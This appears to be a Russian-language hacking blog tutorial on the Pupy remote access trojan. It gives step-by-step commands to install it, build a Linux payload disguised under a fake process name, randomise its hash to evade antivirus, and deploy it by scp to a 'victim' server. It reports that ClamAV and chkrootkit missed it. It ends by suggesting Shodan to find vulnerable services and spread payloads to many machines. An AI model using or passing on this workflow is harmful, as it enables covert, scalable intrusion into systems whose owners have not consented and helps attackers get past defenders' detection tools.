25 апреля, 2024

Pupy — средство удаленного доступа в Linux

Содержание:

В одной из наших предыдущих статей мы рассматривали ShinoBot, инструмент удаленного администрирования (Remote Access Tool или RAT), который делает свое присутствие в системе цели слишком очевидным. Проблема же состоит в том, чтобы точно понимать, может ли пользователь обнаружить средство удаленного администрирования в своей системе. В этой статье мы продемонстрируем использование Pupy, реального RAT, на целевом сервере Ubuntu 16.04.

RAT — это программа, которая позволяет дистанционно управлять и администрировать систему, либо в целях технической поддержки, либо для каких-либо противоправных целей. Мы стали поклонниками RAT с тех пор, как впервые с ними познакомились. Мы потратили на игры с такими программами как Sub7 и Backorifice больше времени, чем хотели бы в этом признаться. Это были мощные, простые в установке инструменты, которые было трудно обнаружить.

Pupy — это современный RAT, который все еще находится в разработке, но он уже на голову опережает те первые RAT. Начнем с того, что Pupy позволяет генерировать несколько типов полезных нагрузок с различными параметрами эксфильтрации данных (эксфильтрация данных — несанкционированное копирование, передача или получение данных с компьютера или сервера), которые можно объединять. Связь с контролирующим сервером очень гибкая в настройке, у Pupy также есть встроенный интерпретатор языка Python. Это позволяет модулям Pupy получать пакеты Python прямо из памяти, а также получать удаленный доступ к объектам Python.

Pupy работает исключительно в оперативной памяти, это позволяет ему почти не оставлять своих следов в целевой системе, что существенно снижает вероятность его обнаружения. Так как он никогда не трогает жесткий диск, то он способен выполнять модули python прямо в оперативной памяти целевой машины. Он включает в себя множество модулей, которые ориентированы на пост-эксплуатацию уязвимостей и сбор информации, а это означает, что даже если он выполняется как пользователь с недостаточным количеством прав, то он все равно при переподключении может предоставить вам множество возможностей для повышения своих привилегий.

В общем, Pupy — отличное дополнение к любому хакерскому набору инструментов. Давайте теперь на него посмотрим!

Шаг 1. Установите Pupy

Чтобы начать работу с Pupy, нам нужно его клонировать из git-репозитория и позаботиться о его зависимостях. Для этого введите в окно терминала следующую команду:

git clone https://github.com/n1nj4sec/pupy; cd pupy

Как только у нас появится копия Pupy, нам нужно выполнить еще парочку команд для его настройки:

git submodule init
 git submodule update

Не углубляясь в эту тему, подмодули Git (submodule) позволяют вам использовать другой git-проект в рамках существующего. Git submodule init — вытаскивает код из подмодуля и помещает его в предварительно сконфигурированную директорию. Git submodule update обновляет код внутри подмодуля.

Читать также:  Основы Linux. Часть 25 (супер-демон Inetd)

Затем нам нужно установить необходимые модули Python. Это можно сделать, набрав в терминале следующее:

pip install -r pupy/requirements.txt

Эта команда указывает pip (менеджер пакетов Python) прочитать файл requirements.txt и установить необходимые модули.

Наконец, нам нужно собрать файлы полезных нагрузок (payload). Для этого введите в терминал следующее:

wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz
tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates

Эта команда извлекает шаблоны полезных нагрузок, перемещает их все в директорию payload_templates и выполняет некоторую очистку.

Как только вы все это сделаете, то мы будем готовы приступить к работе с нашим RAT.

Шаг 2. Создание RAT

Первая вещь, на которую нужно обратить внимание, это возможности наших полезных нагрузок. Нам нужно перейти в директорию Pupy, которая уже есть в существующей директории Pupy (мы клонировали ее с Github). Посмотрим на имеющиеся полезные нагрузки.

cd /путь/до/pupy/pupy
 ./pupygen.py -l | less -R

Здесь у нас уже есть хороший выбор. Pupy с радостью создаст полезную нагрузку с минимальными параметрами. Если вы выполняете pupygen без аргументов, то по умолчанию он создаст реверсивную полезную нагрузку для x86 Windows систем для 443-го порта. Для демонстрации создадим свою полезную нагрузку для машины под управлением Ubuntu 14.04.3 LTS.

Наш первый параметр (или ключ) — format, или -f. Это тип полезной нагрузки, которую мы будем генерировать. Здесь у нас есть довольно мало вариантов, пояснения по которым мы можем получить, передав pupygen аргумент (ключ) -l. Мы будем использовать полезную нагрузку py. Это создает полностью упакованную полезную нагрузку на python. Чтобы использовать эту полезную нагрузку, Python должен быть установлен на целевой машине.

Следующие аргументы — это операционная система и ее архитектура. Используя аргумент -O, мы можем установить в качестве целевой операционной системы Linux. Есть также параметры для Android, Windows и Solaris. Используя аргумент -A, мы установили архитектуру в x64.

Читать также:  Основы Linux. Часть 21 (загрузчик GRUB)

Затем мы настроим скрипты. Существуют большие наборы скриптов, из которых есть что выбрать, которые и определяют то, как будет работать клиент Pupy. Один из них даже позволяет вам включать ваши собственные скрипты! Мы будем использовать hide_argv для изменения имени процесса Pupy. В этом случае мы просто назовем его myRemoteAccess.

И, наконец, мы будем использовать аргумент —randomize-hash для рандомизации хеша пакета. Это техника для обхода антивирусного ПО. Поскольку на нашей машине-жертве у нас установлен ClamAV, то мы сможем увидеть, насколько хорошо это работает.

Теперь, когда мы разобрали все аргументы команды, пришло время запустить pupygen. Вы можете увидеть все аргументы, которые мы только что рассмотрели в приведенной ниже команде. Введите это (или выбранную вами конфигурацию полезной нагрузки) в терминале:

./pupygen.py -f py -O linux -A x64 -s hide_argv,name=myRemoteAccess --randomize-hash

В примере вы могли заметить, что мы не указывали ни порт, ни IP-адрес. Pupy по умолчанию автоматически подставляет наиболее подходящие варианты.

Теперь, когда мы создали нашу полезную нагрузку для RAT, нужно настроить сервер.

Поскольку мы при создании клиента не меняли ни транспорт (протокол), ни порт, то нам не нужно передавать какие-либо аргументы на сервер. Давайте настроим его, набрав следующее:

./pupysh.py

Шаг 3. Загрузка вашего Pupy RAT на сервер

Теперь, когда у нас есть запущенный сервер, мы можем развернуть RAT. В этом случае мы хотим загрузить его на машину-жертву через SCP,, а затем выполнить его. SCP или защищенная копия, позволит нам перенести файл с нашего хост-компьютера на удаленный компьютер с помощью следующей команды:

scp ~/адрес-нашего-pupy-файла ИмяПользователяЖертвы@VictimIP:~/адрес-куда-вы-хотите-загрузить-файл

Это создает сценарий, похожий на машину, которую мы эксплуатируем, а затем повышаем наши привилегии до root.

Мы получаем некоторые ошибки во время работы RAT, но они, похоже, не являются проблемой, поскольку клиент переподключился к нашему серверу нормально. Выполним команду «?» и получим обширную справку по имеющимся опциям.

Для каждой из этих команд вы можете получить справочную информацию, выполнив эту команду с аргументом -h. Например, мы можем ввести следующую команду:

netstat -h

Команда с этим аргументом покажет вам справку для команды netstat. Пользователям Meterpreter этот инструмент может показаться знакомым, поскольку он организован подобным образом.

Основные команды — прочная основа, но «мясо» этого инструмента содержится в модулях. Их можно посмотреть прямо на сервере

list_modules

Как видите, для использования доступно множество модулей, и их синтаксис немного отличается от синтаксиса Meterpreter. Первый модуль, который мы использовали, проверяет, запущен ли клиент Pupy на виртуальной машине. Для этого введите следующую команду:

run check_vm

Модуль запускается и возвращает результат! Конечно, есть много других модулей, которые охватывают большинство ситуаций. Pupy даже включает в себя несколько модулей троллей, таких, которые заставляют телефон или планшет вибрировать, или использовать функцию чтения текста для того, чтобы сообщить что-то жертве.

Читать также:  Как сделать неуловимую полезную нагрузку . Часть 1 . Обходя антивирусы

Поскольку мы создали нашу RAT, используя аргумент «—randomize-hash», нам подумалось, что мы можем увидеть, обнаружит ли его ClamAV. Запуск ClamScan рекурсивно по папке /home не привел к положительным результатам по обнаружению вредоносного ПО.

Поскольку Pupy успешно прошел проверку антивирусным ПО, давайте попробуем модуль chkrootkit. Этот модуль проверяет систему на наличие любых признаков руткита, как того, который мы в данный момент запустили. Chkrootkit также не смог найти никаких проблем с машиной. Хотя Pupy работает.

Чисто из любопытства мы создали полезную нагрузку Meterpreter в elf-формате и загрузили ее на нашу машину-жертву. Она также не была обнаружена ни clamscan, ни chkrootkit. Тут есть два варианта — либо мы используем неправильные инструменты, либо нужно улучшать антивирус. Хотя состояние антивирусной отрасли — это та тема, которую лучше оставить для отдельной статьи.

Pupy как инструмент хакинга

Несмотря на то, что Pupy работает из коробки, он все еще находится в разработке и, вероятно, он пока грубоват для настоящего практического применения. Pupy — это надежное средство удаленного администрирования, с хорошим набором функций и модулей практически для любого типа пентестинга. Он работает на различных системах и заслуживает включения в наборы инструментов хакеров.

В глазах продвинутых пользователей этот способ создания и управления полезными нагрузками делает Pupy кандидатом в инструменты для осуществления автоматических атак. Например, вы можете воспользоваться поисковиком Shodan или чем-то похожим, чтобы найти в сети определенные уязвимые экземпляры служб. Вы могли бы провести эксплуатацию этого сервиса и получить информацию об операционной системе, которая управляет этой службой, что позволит вам сгенерировать какую-нибудь полезную нагрузку и эффективно распространять ее по нескольким уязвимым системам.

Если у вас есть какие-нибудь вопросы или комментарии — пишите!

Добавить комментарий